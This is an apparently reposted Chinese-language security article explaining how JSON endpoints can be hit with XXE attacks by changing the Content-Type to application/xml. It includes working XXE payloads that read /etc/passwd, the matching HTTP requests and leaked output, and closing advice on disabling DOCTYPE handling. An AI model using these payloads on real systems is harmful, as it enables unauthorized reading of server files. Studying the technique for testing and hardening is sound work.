神奇的Content-Type——在JSON中玩轉XXE攻擊


大家都知道,許多WEB和移動應用都依賴於Client-Server的WEB通信交互服務。而在如SOAP、RESTful這樣的WEB服務中,最常見的數據格式要數XML和JSON。當WEB服務使用XML或者JSON中的一種進行傳輸時,服務器可能會接收開發人員並未預料到的數據格式。如果服務器上的XML解析器的配置不完善,在JSON傳輸的終端可能會遭受XXE攻擊,也就是俗稱的XML外部實體攻擊。

XXE是一種針對XML終端實施的攻擊,黑客想要實施這種攻擊,需要在XML的payload包含外部實體聲明,且服務器本身允許實體擴展。這樣的話,黑客或許能讀取WEB服務器的文件系統,通過UNC路徑訪問遠程文件系統,或者通過HTTP/HTTPS連接到任意主機。在下面的例子中,我們將一個外部實體指向了WEB服務器上的/etc/passwd,該實體就是包含在XML的payload里的。

 

1
2
3
4
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
[some xml content..]
< element >&xxe;</ element >
[some xml content..]

以上就是一個簡潔有效的攻擊,我們來看看如何利用Content-Type頭和HTTP請求的payload,是否也能黑掉JSON的終端。下面是一個JSON請求樣本,它將Content-Type設置為application/json,其中精簡了大部分內容。

 

1
2
3
4
5
6
7
8
9
10
11
12
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38
{"search":"name","value":"netspitest"}
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{"error": "no results for name netspitest"}

如果Content-Type頭被修改為application/xml,客戶端會告訴服務器post過去的數據是XML格式的。但如果你實際傳過去的不是該格式的話,服務器不會進行解析,並且會報如下的錯:

 

1
2
3
4
5
6
7
8
9
10
11
12
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 38
{"search":"name","value":"netspitest"}
HTTP Request:
HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 127
{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}

該錯誤提示指出,服務器能夠處理XML格式和JSON格式的數據,但現在服務器收到的真實數據格式並不是在Content-Type里聲明的XML格式,所以這里自然不能被解析啦。為了解決這個問題,JSON格式被強行轉換為XML格式。如果你想做這樣的轉換,網上有不少在線工具,Eric Gruber曾寫了一個Burpsuite插件(Content-Type Converter),可以自動在Burpsuite里轉換格式。

 

1
2
Original JSON
{ "search" : "name" , "value" : "netspitest" }

 

1
2
3
4
XML Conversion
<? xml  version = "1.0"  encoding = "UTF-8"  ?>
< search >name</ search >
< value >netspitest</ value >

然而,這樣直接轉換過來的XML文檔很明顯是無效的,它並沒有XML格式文件所必須的<root>元素。如果這個XML格式的文件被發送到服務器上,有可能服務器會為此響應一個錯誤消息,所有最好的做法是為該轉換過的XML文檔加一個<root>元素。

 

1
2
3
4
5
<? xml  version = "1.0"  encoding = "UTF-8"  ?>
< root >
< search >name</ search >
< value >netspitest</ value >
</ root >

現在原始的JSON請求可以被轉換為XML發送給服務器,然后獲得一個有效響應。

 

1
2
3
4
5
6
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 112

 

1
2
3
4
5
<? xml  version = "1.0"  encoding = "UTF-8"  ?>
< root >
< search >name</ search >
< value >netspitest</ value >
</ root >

 

1
2
3
4
5
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{"error": "no results for name netspitest"}

因為在這里服務器是可以接收XML的數據的,黑客能由此對JSON終端實施XXE攻擊。

 

1
2
3
4
5
6
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288

 

1
2
3
4
5
6
<? xml  version = "1.0"  encoding = "UTF-8"  ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
< root >
< search >name</ search >
< value >&xxe;</ value >
</ root >

黑客在這里就可以讀到/etc/passwd的文件內容:

 

1
2
3
4
5
6
7
8
9
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467
{"error": "no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....

顯然,不是每一個JSON終端都會接收XML格式,改變Content-Type並沒有太大用處,有可能你只會得到一個415的數據類型不支持錯誤。但是,JSON轉換為XML的攻擊不會只限制於通過post傳輸帶有JSON內容的payload,我就曾經看見以GET形式傳輸相應參數的案例。如果JSON的參數被轉換為XML,服務器會自己判斷content type的真實類型。

通過以上的實驗我們可以得出結論,如果你想要加固JSON終端,XML解析必須被禁用,或者你必須禁用內聯DOCTYPE聲明,以此防御XML外部實體注入攻擊。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM